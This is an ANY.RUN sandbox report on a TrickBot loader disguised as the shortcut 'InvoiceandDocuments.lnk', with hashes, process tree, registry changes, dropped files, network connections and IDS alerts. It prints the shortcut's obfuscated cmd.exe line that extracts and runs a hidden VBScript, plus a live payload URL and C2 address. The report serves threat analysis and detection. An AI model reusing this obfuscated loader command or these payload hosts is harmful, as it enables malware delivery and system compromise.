analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

InvoiceandDocuments.lnk

Full analysis: https://app.any.run/tasks/119dfc59-760d-4625-94ae-f93d723cccec
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: October 14, 2019, 22:23:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
trickbot
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=1, Archive, ctime=Sat Nov 22 00:44:59 2014, mtime=Sat Nov 22 00:44:59 2014, atime=Sat Nov 22 00:45:00 2014, length=357376, window=hidenormalshowminimized
MD5:

D26B1B39D00FB78B51D1697AFAB9DE50

SHA1:

1F8FB9E56F4A7B461F5C1105211099C901058931

SHA256:

886159ABF71EFAAB60FF60ECB0C054B6D7CED75CC504B0D4C04A135E61EC87A0

SSDEEP:

192:8HYArh8jTwCiGCQxqw1ACUag12O4+KhJSQKO2higcd1iLsZ/+lh1AL7Qm2vU:yYArh+EQxB1cJw5KOHX7igZWlhKPQzvU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • aYvcTyFY.exe (PID: 2340)
      • هحيلرنلركيانكللخئيت.exe (PID: 3972)
      • هحيلرنلركيانكللخئيت.exe (PID: 1944)
      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Downloads executable files from the Internet

      • WScript.exe (PID: 2820)

    • Loads the Task Scheduler COM API

      • هحيلرنلركيانكللخئيت.exe (PID: 1944)
      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Known privilege escalation attack

      • DllHost.exe (PID: 3808)

    • Downloads executable files from IP

      • WScript.exe (PID: 2820)

    • Connects to CnC server

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • TRICKBOT was detected

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Changes settings of System certificates

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

  • SUSPICIOUS

    • Starts itself from another location

      • aYvcTyFY.exe (PID: 2340)

    • Executable content was dropped or overwritten

      • aYvcTyFY.exe (PID: 2340)
      • WScript.exe (PID: 2820)
      • هحيلرنلركيانكللخئيت.exe (PID: 1944)

    • Creates files in the program directory

      • aYvcTyFY.exe (PID: 2340)

    • Executes scripts

      • cmd.exe (PID: 2768)

    • Creates files in the user directory

      • هحيلرنلركيانكللخئيت.exe (PID: 1944)
      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Executed via Task Scheduler

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Executed via COM

      • DllHost.exe (PID: 3808)

    • Creates files in the Windows directory

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Adds / modifies Windows certificates

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Removes files from Windows directory

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

  • INFO

    • Dropped object may contain Bitcoin addresses

      • aYvcTyFY.exe (PID: 2340)
      • WScript.exe (PID: 2820)
      • هحيلرنلركيانكللخئيت.exe (PID: 1944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

MachineID: win-jbf0q9el659
IconFileName: %SystemRoot%\system32\SHELL32.dll
CommandLineArguments: /v:on /c xcopy YmDqe & if not exist hMSQt (set "tiwkA=s" & set "GmFHW=n") & (fi!GmFHW!d!tiwkA!tr "AAwRT.*" InvoiceandDocuments.l!GmFHW!k > "%tmp%\sDcOO.vb!tiwkA!" & "%tmp%\sDcOO.vb!tiwkA!") & zDwcz
RelativePath: ..\..\..\..\Windows\System32\cmd.exe
Description: InvoiceandDocuments
LocalBasePath: C:\Windows\System32\cmd.exe
VolumeLabel: -
DriveType: Fixed Disk
TargetFileDOSName: cmd.exe
HotKey: (none)
RunWindow: Show Minimized No Activate
IconIndex: 1
TargetFileSize: 357376
ModifyDate: 2014:11:22 02:45:00+01:00
AccessDate: 2014:11:22 02:44:59+01:00
CreateDate: 2014:11:22 02:44:59+01:00
FileAttributes: Archive
Flags: IDList, LinkInfo, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpString
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
9
Malicious processes
2
Suspicious processes
3

Behavior graph

Click at the process to see the details
start drop and start drop and start cmd.exe no specs xcopy.exe no specs findstr.exe no specs wscript.exe ayvctyfy.exe هحيلرنلركيانكللخئيت.exe no specs CMSTPLUA no specs هحيلرنلركيانكللخئيت.exe #TRICKBOT هحيلرنلركيانكللخئيت.exe

Process information

PID
CMD
Path
Indicators
Parent process
2768"C:\Windows\System32\cmd.exe" /v:on /c xcopy YmDqe & if not exist hMSQt (set "tiwkA=s" & set "GmFHW=n") & (fi!GmFHW!d!tiwkA!tr "AAwRT.*" InvoiceandDocuments.l!GmFHW!k > "C:\Users\admin\AppData\Local\Temp\sDcOO.vb!tiwkA!" & "C:\Users\admin\AppData\Local\Temp\sDcOO.vb!tiwkA!") & zDwczC:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3984xcopy YmDqe C:\Windows\system32\xcopy.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Extended Copy Utility
Exit code:
4
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1608findstr "AAwRT.*" InvoiceandDocuments.lnk C:\Windows\system32\findstr.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (QGREP) Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2820"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\sDcOO.vbs" C:\Windows\System32\WScript.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2340C:\Users\admin\AppData\Local\Temp\aYvcTyFY.exeC:\Users\admin\AppData\Local\Temp\aYvcTyFY.exe
WScript.exe
User:
admin
Integrity Level:
MEDIUM
Description:
HugeIntTest MFC Application
Exit code:
0
Version:
1, 0, 0, 1
3972"C:\ProgramData\هحيلرنلركيانكللخئيت.exe" C:\ProgramData\هحيلرنلركيانكللخئيت.exe—aYvcTyFY.exe
User:
admin
Integrity Level:
MEDIUM
Description:
HugeIntTest MFC Application
Exit code:
0
Version:
1, 0, 0, 1
3808C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}C:\Windows\system32\DllHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1944"C:\ProgramData\هحيلرنلركيانكللخئيت.exe" C:\ProgramData\هحيلرنلركيانكللخئيت.exe
DllHost.exe
User:
admin
Integrity Level:
HIGH
Description:
HugeIntTest MFC Application
Exit code:
0
Version:
1, 0, 0, 1
3816C:\Users\admin\AppData\Roaming\HomeLan\هحيلرنلركيانكللخئيت.exe C:\Users\admin\AppData\Roaming\HomeLan\هحيلرنلركيانكللخئيت.exe
taskeng.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Description:
HugeIntTest MFC Application
Version:
1, 0, 0, 1
Total events
530
Read events
507
Write events
23
Delete events
0

Modification events

(PID) Process:(2768) cmd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2768) cmd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2340) aYvcTyFY.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2340) aYvcTyFY.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3808) DllHost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3808) DllHost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3816) هحيلرنلركيانكللخئيت.exeKey:HKEY_USERS\.DEFAULT\Software\Classes\Local Settings\MuiCache\12B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3816) هحيلرنلركيانكللخئيت.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13
Operation:writeName:Blob
Value:
040000000100000010000000410352DC0FF7501B16F0028EBA6F45C50F00000001000000140000005BCAA1C2780F0BCB5A90770451D96F38963F012D090000000100000042000000304006082B0601050507030406082B0601050507030106082B0601050507030206082B06010505070308060A2B0601040182370A0304060A2B0601040182370A030C6200000001000000200000000687260331A72403D909F105E69BCF0D32E1BD2493FFC6D9206D11BCD67707390B000000010000001E000000440053005400200052006F006F0074002000430041002000580033000000140000000100000014000000C4A7B1A47B2C71FADBE14B9075FFC415608589101D00000001000000100000004558D512EECB27464920897DE7B66053030000000100000014000000DAC9024F54D8F6DF94935FB1732638CA6AD77C131900000001000000100000006CF252FEC3E8F20996DE5D4DD9AEF42420000000010000004E0300003082034A30820232A003020102021044AFB080D6A327BA893039862EF8406B300D06092A864886F70D0101050500303F31243022060355040A131B4469676974616C205369676E617475726520547275737420436F2E311730150603550403130E44535420526F6F74204341205833301E170D3030303933303231313231395A170D3231303933303134303131355A303F31243022060355040A131B4469676974616C205369676E617475726520547275737420436F2E311730150603550403130E44535420526F6F7420434120583330820122300D06092A864886F70D01010105000382010F003082010A0282010100DFAFE99750088357B4CC6265F69082ECC7D32C6B30CA5BECD9C37DC740C118148BE0E83376492AE33F214993AC4E0EAF3E48CB65EEFCD3210F65D22AD9328F8CE5F777B0127BB595C089A3A9BAED732E7A0C063283A27E8A1430CD11A0E12A38B9790A31FD50BD8065DFB7516383C8E28861EA4B6181EC526BB9A2E24B1A289F48A39E0CDA098E3E172E1EDD20DF5BC62A8AAB2EBD70ADC50B1A25907472C57B6AAB34D63089FFE568137B540BC8D6AEEC5A9C921E3D64B38CC6DFBFC94170EC1672D526EC38553943D0FCFD185C40F197EBD59A9B8D1DBADA25B9C6D8DFC115023AABDA6EF13E2EF55C089C3CD68369E4109B192AB62957E3E53D9B9FF0025D0203010001A3423040300F0603551D130101FF040530030101FF300E0603551D0F0101FF040403020106301D0603551D0E04160414C4A7B1A47B2C71FADBE14B9075FFC41560858910300D06092A864886F70D01010505000382010100A31A2C9B17005CA91EEE2866373ABF83C73F4BC309A095205DE3D95944D23E0D3EBD8A4BA0741FCE10829C741A1D7E981ADDCB134BB32044E491E9CCFC7DA5DB6AE5FEE6FDE04EDDB7003AB57049AFF2E5EB02F1D1028B19CB943A5E48C4181E58195F1E025AF00CF1B1ADA9DC59868B6EE991F586CAFAB96633AA595BCEE2A7167347CB2BCC99B03748CFE3564BF5CF0F0C723287C6F044BB53726D43F526489A5267B758ABFE67767178DB0DA256141339243185A2A8025A3047E1DD5007BC02099000EB6463609B16BC88C912E6D27D918BF93D328D65B4E97CB15776EAC5B62839BF15651CC8F677966A0A8D770BD8910B048E07DB29B60AEE9D82353510
Executable files
3
Suspicious files
4
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\CabF775.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\TarF776.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\CabF787.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\TarF788.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\CabCA7.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\TarCA8.tmp —
MD5:—
SHA256:—
2768cmd.exeC:\Users\admin\AppData\Local\Temp\sDcOO.vbstext
MD5:1364A664DC77D1DC886F924339AE1F12
SHA256:E2598C4280DEF7D6CB1BC08AC1EFCA571B7FA337E4DA5FE771E8C80A9F96E34D
3816هحيلرنلركيانكللخئيت.exeC:\Users\admin\AppData\Roaming\HomeLan\settings.initext
MD5:AF02A99ED28045DFBA4EB668C09E5DB7
SHA256:C6D669076469BFCA8B7AB962DA4F2DB0D18793CF2375A5F1829EE117F4501E3C
3816هحيلرنلركيانكللخئيت.exeC:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015binary
MD5:2BDCED47EB814EC27A7A94458309AD3F
SHA256:3998B1AE7B0F6B07206C4C3B1F9D67C074152837FBA4FD028A45ECD5E5E375ED
2340aYvcTyFY.exeC:\ProgramData\هحيلرنلركيانكللخئيت.exeexecutable
MD5:3387DC3F07CDF1A7650C247C899AA28B
SHA256:DC0DCC3D4880BA7E4CAB6337DB8FB81F16073580EB7AF0E7F4AABEA27337EE08
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
4
DNS requests
7
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2820
WScript.exe
GET
200
95.181.198.153:80
http://95.181.198.153/preview.php
RU
executable
632 Kb
suspicious
3816
هحيلرنلركيانكللخئيت.exe
GET
200
205.185.216.42:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
57.0 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3816
هحيلرنلركيانكللخئيت.exe
205.185.216.42:80
www.download.windowsupdate.com
Highwinds Network Group, Inc.
US
whitelisted
2820
WScript.exe
95.181.198.153:80
—
Dataline Ltd
RU
suspicious
3816
هحيلرنلركيانكللخئيت.exe
176.58.123.25:443
ident.me
Linode, LLC
GB
suspicious
3816
هحيلرنلركيانكللخئيت.exe
81.190.160.139:449
—
Multimedia Polska S.A.
PL
malicious

DNS requests

Domain
IP
Reputation
www.download.windowsupdate.com
  • 205.185.216.42
  • 205.185.216.10
whitelisted
ident.me
  • 176.58.123.25
shared
10.117.217.185.zen.spamhaus.org
  • —
unknown
10.117.217.185.cbl.abuseat.org
  • —
unknown
10.117.217.185.b.barracudacentral.org
  • —
unknown
10.117.217.185.dnsbl-1.uceprotect.net
  • —
unknown
10.117.217.185.spam.dnsbl.sorbs.net
  • —
unknown

Threats

PID
Process
Class
Message
2820
WScript.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2820
WScript.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2820
WScript.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3816
هحيلرنلركيانكللخئيت.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 22
3816
هحيلرنلركيانكللخئيت.exe
Not Suspicious Traffic
ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)
3816
هحيلرنلركيانكللخئيت.exe
Potential Corporate Privacy Violation
ET POLICY Observed Suspicious SSL Cert (External IP Lookup - ident .me)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
InvoiceandDocuments.lnk